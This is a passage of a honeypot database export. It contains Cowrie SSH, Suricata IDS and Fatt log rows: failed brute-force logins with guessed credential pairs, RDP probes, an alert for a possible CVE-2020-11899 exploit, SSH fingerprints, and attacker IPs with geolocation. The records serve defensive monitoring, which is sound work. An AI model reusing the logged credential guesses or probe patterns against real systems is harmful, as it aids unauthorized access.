"15b5c1cb4b7c", "@version": "1", "password": "al123", "username": "al", "timestamp": "2021-09-20T12:11:33.063016Z", "@timestamp": "2021-09-20T12:11:33.063Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	IT
36108	192.168.20.104	109.199.241.180	Suricata	2021-09-20 15:11:34.47027+03	2021-09-20 15:15:04.14169+03	{"_id": "JQYeA3wBvYTbRNuEYGD-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.104", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:11:34.470270Z", "@timestamp": "2021-09-20T12:11:34.470Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36109	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 15:11:54.571061+03	2021-09-20 15:15:04.14269+03	{"_id": "PAYeA3wBvYTbRNuEr2An", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:54.571061+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 688253385225909, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T12:11:54.571061Z", "@timestamp": "2021-09-20T12:11:54.571Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
36110	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:46.15964+03	2021-09-20 15:15:04.14469+03	{"_id": "NgYeA3wBvYTbRNuEjmDL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.login.failed", "message": "login attempt [zahn/zahn] failed", "session": "f410f1ec48f1", "@version": "1", "password": "zahn", "username": "zahn", "timestamp": "2021-09-20T12:11:46.159640Z", "@timestamp": "2021-09-20T12:11:46.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36111	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:47.442335+03	2021-09-20 15:15:04.14569+03	{"_id": "OAYeA3wBvYTbRNuEkmC0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f410f1ec48f1", "@version": "1", "duration": 2.7843825817108154, "timestamp": "2021-09-20T12:11:47.442335Z", "@timestamp": "2021-09-20T12:11:47.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36112	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:11:40.316385+03	2021-09-20 15:15:04.14669+03	{"_id": "KAYeA3wBvYTbRNuEeGBw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:11:40.316385Z", "@timestamp": "2021-09-20T12:11:40.316Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36113	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:12:12.780737+03	2021-09-20 15:15:04.147689+03	{"_id": "YQYeA3wBvYTbRNuE9WCA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:12:12.710590+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2038455812806590, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 31344, "dest_port": 3389, "timestamp": "2021-09-20T12:12:12.780737Z", "@timestamp": "2021-09-20T12:12:12.780Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
36114	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:12:12.879508+03	2021-09-20 15:15:04.149689+03	{"_id": "YgYeA3wBvYTbRNuE9WCA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:12:12.710590+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2038455812806590, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 31344, "dest_port": 3389, "timestamp": "2021-09-20T12:12:12.879508Z", "@timestamp": "2021-09-20T12:12:12.879Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
36115	94.232.41.165	109.199.241.180	Fatt	2021-09-20 15:12:12.780737+03	2021-09-20 15:15:04.150691+03	{"_id": "YwYeA3wBvYTbRNuE9mB4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "94.232.41.165", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 31344, "dest_port": 3389, "timestamp": "2021-09-20T12:12:12.780737", "@timestamp": "2021-09-20T12:12:12.780Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	RU
36116	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:12:14.00047+03	2021-09-20 15:15:04.15269+03	{"_id": "agYeA3wBvYTbRNuE_WBQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:12.806591+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1321217745243839, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 51603, "timestamp": "2021-09-20T12:12:14.000470Z", "@timestamp": "2021-09-20T12:12:14.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36117	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:12:14.93233+03	2021-09-20 15:15:04.153691+03	{"_id": "awYeA3wBvYTbRNuE_mBK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.251", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 26080, "timestamp": "2021-09-20T12:12:14.932330", "@timestamp": "2021-09-20T12:12:14.932Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36118	5.188.62.251	109.199.241.180	Fatt	2021-09-20 15:12:14.9856+03	2021-09-20 15:15:04.154691+03	{"_id": "cAYeA3wBvYTbRNuE_mCP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.251", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.251", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "fb9ea37f5a326a02ad94bd4e431b024c", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 26080, "dest_port": 22, "timestamp": "2021-09-20T12:12:14.985600", "@timestamp": "2021-09-20T12:12:14.985Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	RU
36119	5.188.62.251	109.199.241.180	Cowrie	2021-09-20 15:12:14.931335+03	2021-09-20 15:15:04.15569+03	{"_id": "cwYfA3wBvYTbRNuEAGAe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.251", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.251", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "621da7b44843", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T12:12:14.931335Z", "@timestamp": "2021-09-20T12:12:14.931Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	RU
36120	5.188.62.251	109.199.241.180	Suricata	2021-09-20 15:12:14.9856+03	2021-09-20 15:15:04.156689+03	{"_id": "eAYfA3wBvYTbRNuEAWA5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:12:14.873431+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1262}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.251", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.251", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1890129117336535, "payload": "AAADjAoU3l6alt/vq1Lf/kNWLv/uCwAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAcWFlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYyxhcmNmb3VyLDNkZXMtY2JjAAAAcWFlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYyxhcmNmb3VyLDNkZXMtY2JjAAAAUGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTIsaG1hYy1zaGEyLTI1NixobWFjLXNoYTEsaG1hYy1zaGExLTk2AAAAUGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTIsaG1hYy1zaGEyLTI1NixobWFjLXNoYTEsaG1hYy1zaGExLTk2AAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAA7oNEpuqG91Epn", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 26080, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:12:14.985600Z", "@timestamp": "2021-09-20T12:12:14.985Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\n..^.....R..CV........curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519...qaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc...qaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none.............;..)....Jg"}}	1	\N	\N	alert	\N	RU
36121	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:12:12.780737+03	2021-09-20 15:15:04.158689+03	{"_id": "XwYeA3wBvYTbRNuE9WB_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:12:12.710590+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2038455812806590, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 31344, "dest_port": 3389, "timestamp": "2021-09-20T12:12:12.780737Z", "@timestamp": "2021-09-20T12:12:12.780Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
36122	5.188.62.251	109.199.241.180	Cowrie	2021-09-20 15:12:14.986166+03	2021-09-20 15:15:04.159689+03	{"_id": "dQYfA3wBvYTbRNuEAGAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "arcfour", "3des-cbc"], "geoip": {"ip": "5.188.62.251", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "fb9ea37f5a326a02ad94bd4e431b024c", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.251", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: fb9ea37f5a326a02ad94bd4e431b024c", "session": "621da7b44843", "@version": "1", "timestamp": "2021-09-20T12:12:14.986166Z", "@timestamp": "2021-09-20T12:12:14.986Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	RU
36123	5.188.62.251	109.199.241.180	Cowrie	2021-09-20 15:12:15.170221+03	2021-09-20 15:15:04.161689+03	{"_id": "dgYfA3wBvYTbRNuEAGAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.251", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.251", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "621da7b44843", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:12:15.170221Z", "@timestamp": "2021-09-20T12:12:15.170Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	RU
